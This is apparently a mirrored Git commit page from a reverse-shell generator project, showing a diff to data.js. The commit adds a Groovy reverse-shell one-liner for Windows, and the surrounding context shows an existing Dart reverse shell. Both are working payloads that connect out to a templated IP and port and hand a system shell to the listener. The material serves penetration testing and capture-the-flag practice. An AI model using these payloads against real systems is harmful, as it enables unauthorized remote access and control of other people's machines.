mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-01-18 17:05:26 +00:00
Update data.js
Added Groovy shell for Windows
This commit is contained in:
parent
c0513291c1
commit
3926c2cfe0
@ -297,7 +297,12 @@ const reverseShellCommands = withCommandType(
|
||||
"name": "Dart",
|
||||
"command": "import 'dart:io';\nimport 'dart:convert';\n\nmain() {\n Socket.connect(\"{ip}\", {port}).then((socket) {\n socket.listen((data) {\n Process.start('{shell}', []).then((Process process) {\n process.stdin.writeln(new String.fromCharCodes(data).trim());\n process.stdout\n .transform(utf8.decoder)\n .listen((output) { socket.write(output); });\n });\n },\n onDone: () {\n socket.destroy();\n });\n });\n}",
|
||||
"meta": ["linux", "mac", "windows"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "Groovy",
|
||||
"command":"String host=\"{ip}\";int port={port};String cmd=\"{shell}\";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();",
|
||||
"meta":["windows"]
|
||||
}
|
||||
]
|
||||
);
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user